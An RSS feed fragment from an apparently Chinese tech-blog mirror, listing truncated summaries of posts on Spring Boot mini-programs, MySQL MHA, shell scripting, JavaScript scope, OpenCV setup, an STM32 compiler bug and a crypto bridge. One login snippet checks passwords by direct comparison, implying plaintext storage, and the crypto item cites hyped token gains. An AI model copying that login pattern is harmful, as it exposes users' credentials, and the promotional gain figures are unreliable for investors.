    <item>
      <title>案例214:基于微信小程序的水果销售系统的设计与实现</title>
      <link>https://bchobby.github.io/posts/8b89d1142da81c579e3dc09dec394336/</link>
      <pubDate>Thu, 28 Dec 2023 20:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b89d1142da81c579e3dc09dec394336/</guid>
      <description>文末获取源码&#xA;开发语言：Java&#xA;框架：springboot&#xA;JDK版本：JDK1.8&#xA;数据库：mysql 5.7&#xA;开发软件：eclipse/myeclipse/idea&#xA;Maven包：Maven3.5.4&#xA;小程序框架：uniapp&#xA;小程序开发软件：HBuilder X&#xA;小程序运行软件：微信开发者&#xA;目录&#xA;前言&#xA;系统展示&#xA;用户信息管理&#xA;水果信息管理&#xA;水果类型管理&#xA;论坛信息管理&#xA;代码实现&#xA;登录功能实现代码&#xA;注册功能实现代码&#xA;密码重置功能实现代码&#xA;修改信息功能实现代码&#xA;删除信息功能实现代码&#xA;保存信息功能实现代码&#xA;前言 互联网发展至今，无论是其理论还是技术都已经成熟，而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播，搭配信息管理工具可以很好地为人们提供服务。针对高校教师成果信息管理混乱，出错率高，信息安全性差，劳动强度大，费时费力等问题，采用水果销售系统可以有效管理，使信息管理能够更加科学和规范。&#xA;水果销售系统使用Java语言进行编码，使用Mysql创建数据表保存本系统产生的数据。系统可以提供信息显示和相应服务，其管理水果销售系统信息，查看水果销售系统信息，管理水果销售系统。&#xA;总之，水果销售系统集中管理信息，有着保密性强，效率高，存储空间大，成本低等诸多优点。它可以降低信息管理成本，实现信息管理计算机化。&#xA;系统展示 用户信息管理 此页面提供给管理员的功能有：用户信息的查询管理，可以删除用户信息、修改用户信息、新增用户信息，还进行了对用户名称的模糊查询的条件&#xA;水果信息管理 此页面提供给管理员的功能有：查看已发布的水果信息数据，修改水果信息，水果信息作废，即可删除，还进行了对水果信息名称的模糊查询 水果信息信息的类型查询等等一些条件。&#xA;水果类型管理 此页面提供给管理员的功能有：根据水果类型进行条件查询，还可以对水果类型进行新增、修改、查询操作等等。&#xA;论坛信息管理 此页面提供给管理员的功能有：根据论坛信息进行新增、修改、查询操作等等。&#xA;代码实现 登录功能实现代码 @IgnoreAuth @PostMapping(value = &#34;/login&#34;) public R login(String username, String password, String captcha, HttpServletRequest request) { UserEntity user = userService.selectOne(new EntityWrapper&amp;lt;UserEntity&amp;gt;().eq(&#34;username&#34;, username)); if(user==null || !user.getPassword().equals(password)) { return R.error(&#34;账号或密码不正确&#34;); } String token = tokenService.</description>
    </item>
    <item>
      <title>作为铭文跨链赛道龙头，SoBit 有何突出之处？</title>
      <link>https://bchobby.github.io/posts/aed001d74893ce030203e37de77842af/</link>
      <pubDate>Thu, 28 Dec 2023 20:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aed001d74893ce030203e37de77842af/</guid>
      <description>跨链桥赛道将是铭文市场长期的发展的刚需&#xA;在比特币网络中，Ordinals 铭文铸造的铭文总量已经超过了 5100 万枚，并累计费用收入超 5028 BTC。同时，仅 BRC-20 叙事方向的市值，就已经超过了 30 亿美元，并且随着铭文资产种类与数量的攀升，该数值仍在增长。我们看到铭文热仍在持续，每天也仍旧会有大量的铭文资产面向市场。&#xA;虽然 Ordinals 的方案对于比特币生态来说是革命性的，不仅为其带来了资产发行方案，并倒逼了生态各类技术的革新，但我们不得不承认的事实是，铭文资产到目前为止，也只能以类似于 NFT 交易的方式实现交易，比如包括 Ordinals Market、Unisat Marketplace 等在内的铭文交易市场，仍旧以点对点撮合交易的方式来推动流动性，交易效率极低。&#xA;在低定价模式的基础上，缺乏流动性的铭文资产很容易产生极为夸张的纸面涨幅。所以如何让铭文资产更好的捕获流动性、更合理的参与到 DeFi 中，才能帮助铭文板块去杠杆化，以推动该板块的正向发展。&#xA;现实情况是，比特币 Layer1 不支持智能合约，比特币 Layer2 发展仍旧滞缓短期内难以为其提供更好的支持，所以将比特币生态中的铭文资产带入到图灵完备的生态中，在 DeFi、GameFi 等成熟板块中发挥作用，捕获流动性与价值，将成为未来铭文板块发展的趋势或者主基调。&#xA;另一面，市场上已经出现了一些能够为铭文资产提供金融场景的设施，比如以太坊上的铭文借贷协议 Toka Finance、多链铭文 AMM DEX Allins 等等，但这些设施都需要长期获得跨链桥的桥接支持。&#xA;所以从整体趋势上看，铭文市场将对跨链有着极大的需求（每天铭文资产的数量、种类都在增长），所以铭文跨链桥赛道将具备极大的想象空间与发展潜力。&#xA;Multibit 是铭文板块最早的跨链桥，它主要是是将 BRC20 资产在 EVM 链（ETH链、BNB链、Polygon链）间双向跨链传递。11 月在 Multibit LaunchPad 后，目前其代币已经有了500倍涨幅，总市值约为2.32亿美元，而上线 40 多天，MultiBit 桥的交易量超 4.4 亿美金。&#xA;在 MultiBit 后，SoBit 会是铭文跨链赛道新王？ 虽然 Multibit 抢占了 EVM 链与 BRC20 资产跨链的先机，尤其是主要的流动性还在以太坊生态。但 SoBit 是首个支持 Solana 与 BRC20 资产跨链的跨链桥。同样，我们也认为 Sobit 才是铭文跨链板块真正的龙头协议。</description>
    </item>
    <item>
      <title>tradingview联系代码</title>
      <link>https://bchobby.github.io/posts/f608c904b7aacbe3c5c9fb78a6fbd6d2/</link>
      <pubDate>Thu, 28 Dec 2023 19:58:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f608c904b7aacbe3c5c9fb78a6fbd6d2/</guid>
      <description>indicator(&#34;我的脚本&#34;, overlay = false ) k_param = input(title=&#34;K length&#34;, defval = 14) // 默认时间 d_param= input(title = &#34;D length&#34;, defval = 3) // SMA rsi_param= input(title = &#34;RSI length&#34;, defval = 7) // rsi是在0-100的区间震动 这里的输入框是震动指标的天数 upper = input(title = &#34;Over Brought&#34;, defval = 80) lower = input(title = &#34;Over Sold&#34;, defval = 20) // 震荡指标 rsi = ta.rsi(close, rsi_param) // 这里获取7天的一个震荡指标强度 // 实际震荡指标算法 Stochastic = 100 * (close - ta.</description>
    </item>
    <item>
      <title>深入理解Mysql MHA高可用集群搭建：从实验到实战</title>
      <link>https://bchobby.github.io/posts/a4c8f8e7305e02601a375004f43e06ca/</link>
      <pubDate>Thu, 28 Dec 2023 19:49:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4c8f8e7305e02601a375004f43e06ca/</guid>
      <description>1. 简介 MHA（Master High Availability）是一个高效的开源MySQL高可用性解决方案。由日本开发者yoshinorim（前DeNA员工，现在Facebook）创建，MHA支持MySQL的主从复制架构，自动化主节点故障转移。当主节点发生故障，MHA能迅速将最新数据的从节点升级为新主节点。这个过程中，MHA从其他从节点获取额外信息，确保数据一致性。MHA还能在线切换主节点，按需调整主从节点关系。它已被证明是一个成熟的MySQL高可用方案，能在30秒内完成故障切换，并最大限度地保证数据一致性。值得一提的是，淘宝也在开发一个类似的产品TMHA，目前支持一主一从架构。&#xA;2. MHA服务 MHA服务包括两种角色：MHA Manager（管理节点）和MHA Node（数据节点）。&#xA;MHA Manager：通常部署在一台独立的机器上，管理多个master/slave集群，每个集群称为一个application。它负责整个集群的管理和协调。MHA Node：安装在每台MySQL服务器（无论是master、slave还是manager）上。它负责监控、解析日志和加快故障恢复的过程。 工具与功能 MHA提供了一系列工具，分布在Manager节点和Node节点上：&#xA;Manager节点工具： masterha_check_ssh：检测SSH环境。masterha_check_repl：检测MySQL复制环境。masterha_manager：MHA的主服务程序。masterha_check_status：探测MHA运行状态。masterha_master_monitor：监测MySQL主节点可用性。masterha_master_switch：切换主节点的工具。masterha_conf_host：添加或删除配置节点。masterha_stop：关闭MHA服务的工具。Node节点工具：（这些通常由Manager的脚本触发，无需手动操作） save_binary_logs：保存并复制主节点的二进制日志。apply_diff_relay_logs：识别并应用差异中继日志事件。purge_relay_logs：清除中继日志。自定义扩展： secondary_check_script：通过多网络路由检测主节点可用性。master_ip_failover_script：更新应用程序使用的master IP。report_script：发送报告。init_conf_load_script：加载初始配置参数。master_ip_online_change_script：更新主节点IP地址。 工作原理 MHA的工作原理可以概括为以下几个步骤：&#xA;从故障的master节点保存二进制日志事件（binlog events）。识别拥有最新更新的slave节点。将差异的中继日志（relay log）应用到其他slave节点。应用从master节点保存的二进制日志事件。提升一个slave节点为新master。使其他slave节点开始复制新master的数据。 3.MySQL Replication 环境的实验配置 3.1 准备实验 MySQL Replication 环境 3.1.1 相关配置 在本实验中，我们将设置一个包含四个节点的 MySQL Replication 环境，运行于 CentOS 7.3 系统。MHA (Master High Availability) 对 MySQL 复制环境有特定的配置需求，例如：&#xA;所有节点必须开启二进制日志（bin-log）和中继日志（relay-log）。从节点（Slave）需设置为只读模式（read-only）。关闭中继日志自动清理功能（relay_log_purge）。 节点配置如下：&#xA;Manager (192.168.37.111): 作为控制器，负责监控和管理。Master (192.168.37.122): 数据库主服务器。配置了 bin-log 和 relay-log，关闭了 relay_log_purge。Slave1 和 Slave2 (192.168.37.133 和 192.168.37.144): 数据库从服务器。与 Master 相同的日志配置。 为方便操作，我们在所有节点的 /etc/hosts 文件中添加了对应的域名解析配置。</description>
    </item>
    <item>
      <title>高性能计算（HPC）-一文全面理解高性能计算</title>
      <link>https://bchobby.github.io/posts/960883a88fb3abcebe4c3356885cb705/</link>
      <pubDate>Thu, 28 Dec 2023 19:24:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/960883a88fb3abcebe4c3356885cb705/</guid>
      <description>AI的疯狂发展以及视频、图像、音频、3D数据的迫切需要，导致传统的CPU不能满足这样大算力的计算。由于这些数据的运算多是一些简单的运算，因此需要设计出多个算术运算单元的芯片来应对这种少控制多计算的场景。这是并行计算、高性能计算诞生的重要动力。为了适配这样的场景，设计出了以GPU为核心的并行处理芯片、包括DSP、VPU、DPU、NPU等。&#xA;本文主要介绍基于这些芯片以及网络、系统引入的高性能计算，比较全面的介绍高性能计算，希望对高性能计算的理解起到一个宏观的作用。&#xA;🎬个人简介：一个全栈工程师的升级之路！&#xA;📋个人专栏：高性能算法开发优化&#xA;🎀CSDN主页 发狂的小花&#xA;🌄人生秘诀：学习的本质就是极致重复!&#xA;目录&#xA;1 引言&#xA;1.1 高性能计算&#xA;1.2 超算（超级计算机）&#xA;1.3 并行计算&#xA;1.4 分布式计算&#xA;1.5 高性能计算的重要性&#xA;1.6 高性能计算的历史与发展&#xA;2 高性能计算的核心技术&#xA;2.1 并行计算技术&#xA;2.1.1 并行计算模型&#xA;2.1.2 并行算法设计&#xA;2.1.3 并行编程技术&#xA;2.2 分布式计算技术&#xA;2.2.1 分布式系统架构&#xA;2.2.2 分布式算法设计&#xA;2.2.3 分布式编程技术&#xA;2.3 云计算技术&#xA;2.3.1 云计算平台&#xA;2.3.2 云计算服务模式&#xA;2.3.3 云计算编程技术&#xA;2.4 网格计算技术&#xA;2.4.1 网格计算架构&#xA;2.4.2 网格计算中间件&#xA;2.4.3 网格计算应用&#xA;3 高性能计算的硬件基础&#xA;3.1 处理器技术&#xA;3.1.1 多核处理器&#xA;3.1.2 超线程技术&#xA;3.1.3 高速缓存&#xA;3.2 存储器技术&#xA;3.2.1 内存技术</description>
    </item>
    <item>
      <title>springboot学习(八十五) 解决springboot3.2找不到资源无法抛出404错误的问题</title>
      <link>https://bchobby.github.io/posts/b8cba472b2cc2df73b67122df7e16ffc/</link>
      <pubDate>Thu, 28 Dec 2023 18:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8cba472b2cc2df73b67122df7e16ffc/</guid>
      <description> 前言 springboot3.2以下可以定义ErrorPageRegistrar将404错误转发到一个接口地址，但升级到springboot3.2（spring6.1）后,该配置不生效，抛出了500错误。&#xA;以前的错误页面处理如下：&#xA;@ConditionalOnClass(ErrorPageRegistry.class) public class ErrorPageAutoConfiguration implements ErrorPageRegistrar { @Override public void registerErrorPages(ErrorPageRegistry registry) { log.info(&#34;-----------错误页面路径配置------------&#34;); registry.addErrorPages(new ErrorPage(HttpStatus.NOT_FOUND, &#34;/404&#34;), new ErrorPage(HttpStatus.FORBIDDEN, &#34;/403&#34;), new ErrorPage(HttpStatus.BAD_REQUEST, &#34;/400&#34;), new ErrorPage(HttpStatus.INTERNAL_SERVER_ERROR, &#34;/500&#34;)); log.info(&#34;-----------错误页面路径配置结束------------&#34;); } } 解决方式 通过查看日志发现springboot3.2默认寻找静态资源，在找不到资源后抛出了NoResourceFoundException，通过ExceptionAdivisor抓取做了处理，而并没有对NoResourceFoundException进行特殊处理，默认进入了500错误。&#xA;ExceptionAdivisor中添加一组对此异常的处理，即可：&#xA;@ExceptionHandler(value = NoResourceFoundException.class) @ResponseStatus(HttpStatus.NOT_FOUND) public ResponseEntity to404Exception(NoResourceFoundException e) { AccessLogUtils.log(SpringUtils.getRequest(), _404); return res(HttpStatus.NOT_FOUND.value(), &#34;找不到资源&#34;, e); } </description>
    </item>
    <item>
      <title>工具：绘图工具</title>
      <link>https://bchobby.github.io/posts/fb2c043f0e137e713112463c389449a5/</link>
      <pubDate>Thu, 28 Dec 2023 18:55:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb2c043f0e137e713112463c389449a5/</guid>
      <description>绘图工具： 制流程图、结构图、思维导图等&#xA;Flowchart Maker &amp;amp; Online Diagram&#xA;UI原型图&#xA;即使设计&#xA;慕客&#xA;绘图示例： 软件工程用的15种图</description>
    </item>
    <item>
      <title>聊一聊 JavaScript 中的作用域和闭包</title>
      <link>https://bchobby.github.io/posts/14f6cbdf8b7bdf045e7e8e472fe4ccd8/</link>
      <pubDate>Thu, 28 Dec 2023 18:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14f6cbdf8b7bdf045e7e8e472fe4ccd8/</guid>
      <description>哈喽大家好，我是归思君~&#xA;一、引言 我们知道，作用域（Scope）就是代码中变量和函数的可访问的区域，这个区域中决定了变量和函数的生命周期。&#xA;在当前的高级程序语言中，主要有词法作用域（静态作用域）和动态作用域两种。其实这两种作用域的区别主要是作用域中的变量和函数，是在编译期还是运行期确定的，从词法分析角度讲，如果是通过静态词法分析而得出的时候，它就被称为词法作用域：&#xA;静态作用域：其作用域是在编写代码时就已经确定好，静态作用域是根据变量和函数在代码中的位置来决定。函数寻找变量时，是在函数定义的位置中寻找，而不是调用的位置。现在大多数编程语言都采用的是静态作用域，比如 C, C++, Java, JavaScript, Python 等动态作用域：是在程序运行时根据程序的调用栈来动态确定，而不是在写代码时静态确定。在函数寻找变量时，根据函数调用的位置来寻找。这意味着同一个变量名在不同的调用上下文中可能指向不同的变量，可以用 Js 中的 this 值来进行理解，只有在调用时才知道 this 值的指向，动态作用域类型语言中的所有变量都是以这种形式来确定。动态作用域在现代编程语言中较少见，在某些早期语言中比如 Lisp JavaScript 中就采用的是词法作用域（静态作用域），下面就来详细看看：&#xA;二、全局作用域和函数作用域 从范围上分，JavaScript中的作用域有三种：全局作用域、函数作用域和块级作用域。我们先来聊聊全局作用域和函数作用域：&#xA;1.全局作用域 In a programming environment, the global scope is the scope that contains, and is visible in, all other scopes. In client-sideJavaScript, the global scope is generally the web page inside which all the code is being executed.&#xA;也就是说在一个程序运行环境中，全局作用域指的是能看见的代码全部及其他的作用域；在内置JS代码中，全局作用域是**指所被执行js代码的全部区域。**其生命周期伴随着页面的生命周期&#xA;Web浏览器中，全局作用域是window对象，所有的变量和函数是作为其方法和属性创建： var test = 1000; console.log(test);//1000 //全局作用域中定义的变量可以通过，全局对象调用属性的方式来获取 console.log(window.test);//1000 Node环境中，全局作用域是global对象： var y = 200; console.</description>
    </item>
    <item>
      <title>Python&#43;OpenCV 零基础学习笔记(1-3):anaconda&#43;vscode&#43;jupyter环境配置</title>
      <link>https://bchobby.github.io/posts/9d6bcdb3b1f0e2f8dd51667a769e2ff4/</link>
      <pubDate>Thu, 28 Dec 2023 18:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d6bcdb3b1f0e2f8dd51667a769e2ff4/</guid>
      <description>文章目录 前言相关链接环境配置：AnacondaPython配置OpenCVOpencv-contrib:Opencv扩展 Notebook:python代码笔记vscode配置配置AnacondaJupyter文件导出 前言 作为一个C# 上位机，我认为上位机的终点就是机器视觉+运动控制。最近学了会Halcon发现机器视觉还是要学一下OpenCV。作为一个爱学习的程序员，我认为Python是逃不过的，毕竟Python可以使用的场景实在太多了，深度学习，人工智能。虽然我是本科学历，但是我还是想去了解一下。&#xA;【2022B站最好的OpenCV课程推荐】OpenCV从入门到实战 全套课程&#xA;CSDN标题里个括号对应视频的分P&#xA;相关链接 【2022B站最好的OpenCV课程推荐】OpenCV从入门到实战 全套课程&#xA;OpenCV+Python CSDN专栏&#xA;Gitee 项目地址&#xA;环境配置：Anaconda Anaconda是一个方便管理的Python集成包，优点如下：&#xA;集成了180个常用的科学计算的包方便管理多个版本的Python环境 Anaconda python常用配置环境&#xA;Anaconda 下载网址&#xA;一路确定就可以了，要记得安装的位置&#xA;Python配置 如果你的电脑只装了一个Python环境，就直接安装就好了。我这里提供多个python环境的解决方案。&#xA;找到你的Anaconda的安装位置，使用命令行进入，然后输入python就可以看到你安装的Python版本了。我这里的安装位置是E盘的Anaconda位置&#xA;然后再cd到Script目录，输入pip list，查看安装包&#xA;OpenCV 在Scirpt目录中，直接运行&#xA;pip install opencv-python 然后退到根目录，看看OpenCV是否安装成功&#xA;如果我们cv2.__version__能正常显示Python版本，那就说明我们python版本安装是正确的版本。&#xA;Opencv-contrib:Opencv扩展 Notebook:python代码笔记 vscode配置 我个人选择vscode，史上最强IDE。&#xA;配置Anaconda Anaconda 环境变量手动设置(详细)&#xA;Python环境部署：Anaconda &amp;amp; VS Code on Windows&#xA;运行如下代码&#xA;import sys print(sys.version) print(&#39;hello world!&#39;) Jupyter vscode中配置jupyter（彻底解决Failed to start the Kernel问题）&#xA;运行成功，虽然我暂时也不知道有啥用&#xA;运行如下代码&#xA;#%% # 测试注释 import pandas as pd import numpy as np import matplotlib.</description>
    </item>
    <item>
      <title>linux中shell的流程和循环控制</title>
      <link>https://bchobby.github.io/posts/6bdd9ca3d363798713b48e9a0897a1ce/</link>
      <pubDate>Thu, 28 Dec 2023 18:41:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bdd9ca3d363798713b48e9a0897a1ce/</guid>
      <description>流程控制和循环控制 shell流程控制流程注意条件结构数值比较文件测试字符串比较 if语句单分支结构双分支结构多分支结构嵌套结构 case语句格式 shell循环控制for循环while循环until循环expect交互shell循环控制 shell流程控制 任何编程都离不开判断（流控）&#xA;流程注意 1.[]表示条件测试，这里的空格很重要 2.在shell中，then和fi是分开的语句，如果要放在一行，需要分号隔开 3.注意if判断中对变量的处理，需要加引号 4.判断不支持浮点值 5.如果单独使用&amp;lt;或者&amp;gt;系统会认为是重定向，如果要使用，要对这些符号转意 6.默认运行if语句中的命令，所产生的错误信息，会出现在脚本的输出结果中，一般会使用&amp;amp;&amp;gt;/dev/null 7.使用-n或者-z来检查长度时候，没有定义的变量也为0 8.空变量和没有初始化的变量会对shell脚本造成灾难性的影响，再不确定变量内容时，可以使用-n或者-z测试一下 9.$?变量包含了之前执行命令的退出状态，最近完成的前台进程 调试脚本 sh -n 文件名 //仅调试脚本中的语法错误 sh -x 文件名 //逐句语句追踪 sh -v 文件名 //显示执行过程详细信息 sh -vx 文件名 //以调试的方式执行，查询整个执行过程，第一行是计算机看到的 第二行是计算机执行的 第三行是计算机输出的 条件结构 test 条件 条件为真返回0；条件为假返回1 [ 条件表达式 ] [[ 条件表达式 ]] test 能够理解3种类型的表达式 文件测试 字符串比较 数字比较 数值比较 [ -gt ] 大于 [ -lt ] 小于 [ -eq ] 等于 [ -ne ] 不等于 [ -ge ] 大于等于 [ -le ] 小于等于 文件测试 -f filename ：当filename存在时返回真 -b filename ：当filename存在并且是块文件时返回真 -d pathname ：当pathname存在并且是一个目录时返回真 -h filename ：当filename存在并且是符号链接文件时返回真，软连接 -c filename ：当filename存在并且是字符文件时返回真 -e pathname ：当由pathname指定的文件或目录存在时返回真 -g pathname ：当由pathname指定的文件或目录存在并且设置了SGID位时返回真 (SGID一种特殊的权限) -k pathname ：当由pathname指定的文件或目录存在并且设置了&#34;</description>
    </item>
    <item>
      <title>基于ssm的家居家电维修系统微信小程序源码和论文</title>
      <link>https://bchobby.github.io/posts/d9a1bfefa94e458febef95fdf38c920a/</link>
      <pubDate>Thu, 28 Dec 2023 18:36:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9a1bfefa94e458febef95fdf38c920a/</guid>
      <description>1．本课题的研究目的和意义：&#xA;随着我国互联网的普及，微信成为了人们日常生活中必不可少的交流工具。据相关数据显示，2018年上半年微信的日均活跃用户已超过10亿。如此庞大的用户量催生了微信小程序的迅猛发展。在日常生活方面，许多的行业都提供了微信小程序让用户更加便捷的使用。&#xA;同样的家居家电维修系统小程序也能给用户带来方便。传统的家居家电维修需要用户临时出门找维修师傅，对于赶时间的用户来说十分不方便。而且他不知道维修师傅当前是否有空，能否上门维修。但家居家电维修系统小程序不同，首先它无需用户下载app，无需占用手机的空间内存。其次它可以直接在小程序上线上下单，寻找附近有空的维修师傅上门进行维修。能让用户不出家门就可以寻找到维修师傅，同时它可以提前预约维修师傅上门，能让维修师傅在用户有空的时间才上门进行维修。该小程序能让用户在日常生活中节省时间以及提供便利，对于平时不出家门的用户也能快捷找到维修师傅上门，能帮助到许多有需要帮助的人。&#xA;【588】基于ssm的家居家电维修系统微信小程序源码和论文开题报告任务书&#xA;本课题的文献综述（不少于1500字）近年来，微信小程序在大量微信用户的催生下得到迅速的发展。微信小程序从上线开始，就让很多企业蠢蠢欲动。因为，微信小程序的兴起让许多无法承担传统APP开发费用的企业看到了曙光，对于大学生创业来说，小程序的成本相比于APP的开发也十分廉价。作为微信主推的产品，小程序也从未在众人的目光中退场，它的每一个动作都牵动着互联网从业者的心。&#xA;移动互联网兴起时带来了一批创业热，相比APP而言，小程序的开发成本很低，这给独立开发者带来了机会。依附于微信国民级的聊天工具，微信小程序的灵活性让它可以基于场景聚合各种服务。手机中App的使用率不超过40%。而小程序“无需下载，即开即用，用完即走”的特质让它可以成为头部App的补充应用，同时代替一部分低频服务的App。其实小程序应用得最多的类型是生活服务类，工具类。大多都是一些基于生活场景的应用，对于一般的生活需求而言，已经可以满足大部分用户的需求。&#xA;微信对小程序的重视程度一点不亚于当年的公众号。虽然不主动宣传，功能开放速度像是在挤牙膏。但是根据网络的统计显示，微信官方发布的小程序场景入口已达41个，搜一搜、二维码、公众号、LBS、小程序系统入口等等是小程序流量引导的主要入口场景。公众号关联小程序、文章中插入小程序等功能开放，让小程序的入口场景变得十分丰富。然而，经过一番筛选，其实能够实际应用到生活中的或许只有32个左右。&#xA;微信小程序在各个行业的应用，大大节约了手机的使用空间外，使客户粘性再次加大，对于微信的依赖也有所增强。现如今，人们的使用习惯趋向于移动端，而且对于刚性需求的微信小程序可谓是依赖巨深。而对于一些低频的应用而言，用户也更加期待一种更加便捷的方式去取代APP。现在小程序已经在各个行业都实现了快速的发展，并且产生了深刻的影响，作为工具性质，低频实用性为目的开发额的小程序也正越来越深受时下消费者的支持。以低频的旅游行业为例，开发微信小程序不仅仅能够使获客半径扩大，同时能够延伸旅游相关知识、提升用户旅游体验，甚至能够直接利用微信小程序进行用户流量变现。移动互联网的每个节点都会催生新商业模式的诞生，对小程序来说，它成长的时间太短，大部分人还看不到小程序创业的未来。只有先行者才能获得巨大的发展红利。现在布局小程序，就是抢占市场。&#xA;再来说我们的家居家电维修小程序的开发有哪些优势?家居家电使用频率高，难免有时候会发生问题。当出现故障的时候，需要能快速找到维修工，来保障日常生活的正常运转。以往消费者出现维修需求时，一般都是寻找一些线下“牛皮癣”小广告或是去实体店找维修工，然而这些方式不管是沟通、还是时间效率都极低。而且这种方式不合适那些平常不喜欢出门的人，在日常生活中，工作回家后难免不想到处走动。还有一些人刚刚搬家对附近地理并不了解，这种情况下让他们寻找维修师傅上门修为家居家电是十分不方便的。&#xA;综上论述，开发一款家居家电维修小程序，用户无需出门就能在手机上下单预约维修，而维修工则可以实时收到订单通知，用完即走，不占内存，符合家电维修的这个低频使用场景。家电维修小程序的开发优势有哪些呢？&#xA;1、安全服务，性比价高&#xA;相比路边上的小广告，维修平台为供需双方做信誉担保，价格透明、服务可追溯。小程序商提供的维修服务不仅在维修效率上有严格规定，在维修人才的选择上也是经过严格筛选，还有口碑评价机制，保障双方的权益。&#xA;2、数据整合，提高服务水平&#xA;家居家电维修小程序，在用户下单，在完成订单后可以对该订单评价，对维修师傅打分。可以知道哪些维修师傅的服务水平更高。&#xA;3、提前预约，无需等待&#xA;在家居家电维修小程序里，用户可以提前下单，预约师傅在自己有空的时候上门进行维修，这样能更加的快速便捷有效的帮用户维修。&#xA;4、方便快捷，无需占用内存空间&#xA;相比传统app，小程序对于用户来说“无需下载，即开即用，用完即走”，达到真正的便捷效率。&#xA;【588】基于ssm的家居家电维修系统微信小程序源码和论文开题报告任务书&#xA;package com.controller; import java.io.File; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Iterator; import java.util.List; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileItemFactory; import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import com.model.Gginfo; import com.model.Pinglun; import com.model.Userinfo; import com.model.Wxuser; import com.model.Zhaopin; import com.response.GonggaoListResponse; import com.response.GonggaoResponse; import com.</description>
    </item>
    <item>
      <title>stm32H743编译器关于浮点类型强制转换传参的bug</title>
      <link>https://bchobby.github.io/posts/9819154dbd5506f1e784e1fbf6388bbd/</link>
      <pubDate>Thu, 28 Dec 2023 18:35:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9819154dbd5506f1e784e1fbf6388bbd/</guid>
      <description>局部函数，正常传参 当测试函数作为局部函数和main函数写在同一个文件中时，参数可以正常传递。函数参数和形参都为3.14&#xA;float value = 0.0; void float_test(float _v) { value = _v; } int main(void) { float_test(3.14f); while(1); } keil仿真截图，形参正常&#xA;全局函数，异常传参 当测试函数放到另一个文件中，在main函数中进行调用时，会发生异常参数，函数形参转换出错&#xA;test.c&#xA;float value = 0.0; void float_test(float _v) { value = _v; } main.c&#xA;int main(void) { float_test(3.14f); while(1); } keil仿真截图，形参出错，变为了一个极小值，可能是数据对齐有问题&#xA;原因分析 可能是编译器在保存单精度浮点参数时还是按double类型，读取参数时确按float类型来进行读取，所以出现了错误&#xA;解决方案 浮点数传参不要使用float类型，采用默认的double类型进行传参，就可以正常传参了</description>
    </item>
    <item>
      <title>基于springboot农副产品交易平台的微信小程序源码和论文</title>
      <link>https://bchobby.github.io/posts/ca64322b183b1ebcca3bed60a61b81fb/</link>
      <pubDate>Thu, 28 Dec 2023 18:17:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca64322b183b1ebcca3bed60a61b81fb/</guid>
      <description>基于微信的农产品交易商城设计与开发&#xA;摘要：伴随着移动互联网的进一步发展趋势，传统式手机应用程序的问题慢慢出現在技术性关心的行业。原生态Android运用的安裝和卸载掉危害用户体验，一个轻量的内嵌式WEB程序流程为用户体验吸引住了愈来愈多开发人员的关心。自打微信小程序明确提出后，愈来愈多的互联网公司竞相开发设计单独的微信小程序运用，大有作为。&#xA;根据现阶段盛行的微信小程序应用程序开发技术性，融合农产品买卖商城系统的用户需求，开发设计了一套易于器重、可配备、面对小店的农产品买卖商城系统开发。系统软件根据现阶段流行的Java后端工程师框架SpringBoot、流行的数据库配备框架MyBatis和实用的MySQL数据库搭建后台管理网络服务器新项目，应用Vue网站前端开发框架和Element-ui插口原素完成小程序管理员的操作系统插口，依据微信小程序给予的设计方案文档制作原生态农产品买卖商城小程序。微信小程序可以达到现阶段小店的商业要求，完成控制模块的信息配备，易于二次开发。有利于迅速构建成形系统软件，具备一定的社会经济实际效果。&#xA;【587】基于springboot农副产品交易平台的微信小程序源码和论文&#xA;关键词：农产品交易商城，小程序，动态配置，SpringBoot，Vue&#xA;Design and Development of Online Mall Based on WeChat&#xA;Abstract: With the further development trend of mobile Internet, the problems of traditional mobile phone applications are slowly emerging in industries of technical concern. The installation and uninstallation of the original Android application endanger the user experience. A lightweight embedded web program process has attracted more and more developers&#39; attention for the user experience. Since the wechat applet was clearly put forward, more and more Internet companies have competed to develop and design separate wechat applets, which have made great achievements。</description>
    </item>
    <item>
      <title>PHP序列化总结1--序列化和反序列化的基础知识</title>
      <link>https://bchobby.github.io/posts/8c6c54d080d4f0a2c9fe2ce6f66bb9da/</link>
      <pubDate>Thu, 28 Dec 2023 18:11:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c6c54d080d4f0a2c9fe2ce6f66bb9da/</guid>
